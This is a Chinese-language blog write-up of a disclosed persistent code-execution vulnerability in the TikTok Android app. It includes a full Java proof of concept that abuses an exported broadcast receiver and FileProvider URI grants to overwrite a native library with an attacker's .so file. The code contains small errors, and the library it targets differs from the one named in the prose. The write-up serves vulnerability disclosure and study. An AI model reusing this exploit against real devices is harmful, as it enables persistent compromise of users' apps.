Skip to content
On this page

Tiktok持久任意代码执行漏洞

持久CE的前提

想要实现持久的CE,就必须能够覆盖app自动加载的so文件,而titok的这个漏洞就满足这个要求:

  1. tiktok 会从指定目录加载so文件
  2. 存在外部读写该目录的漏洞

任意文件读写的漏洞

NotificationBroadcastReceiver

这个导出组件存在如何保护导出组件一文描述的可以访问启动内部未导出组件的漏洞.

同时还存在着未导出的FileProvider,可以对外提供任意文件读写的服务.

FileProvider

xml
    <provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com.zhiliaoapp.musically.fileprovider" android:grantUriPermissions="true">
        <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/k86"/>
    </provider>

可以看到如何保护导出组件提到的关键标志: android:grantUriPermissions="true". 因此也就意味着tiktok发出的Intent中只要带有Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION标志,接收者就自动获得了相关文件的读写权限.

是否有自动加载so文件地方呢?

经过排查,发现确实存在着的地方 经过测试,选定/data/user/0/com.zhiliaoapp.musically/app_librarian/14.7.5.6172264464/libAkeva.so,覆盖这个so文件的好处:

  1. 会自动被加载
  2. 这个文件几乎不被使用,所以不影响tiktok的正常运行.

完整的poc

java
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        handleIntent(getIntent());
    }

    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleIntent(intent);
    }

    private void handleIntent(Intent i) {
        if(!"evil".equals(i.getAction())) {
            Intent next = new Intent("evil");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));

            Intent intent = new Intent("notification_clicked");
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
            intent.putExtra("contentIntentURI", next);
            sendBroadcast(intent);
        }
        else {
            try {
                OutputStream o = getContentResolver().openOutputStream(i.getData());
                InputStream in = getimg().open("evil_lib.so");
                IOUtils.copy(in, o);
                inp.close();
                o.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }

poc 的思路也很巧妙,发送Intent给NotificationBroadcastReceiver,然后NotificationBroadcastReceiver通过startActivity又把next传送给了自己,从而获得/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so的读写权限.

另一个持久CE的漏洞

和上面通过NotificationBroadcastReceiver获得文件读写权限类似,这次是通过DetailActivity来实现,他也是一个导出的组件,同时没有对收到的Intent进行检查,就进行了转发.

至于poc则几乎和上面的完全一致,所以就不重复了.

参考文档: Oversecured detects dangerous vulnerabilities in the TikTok Android app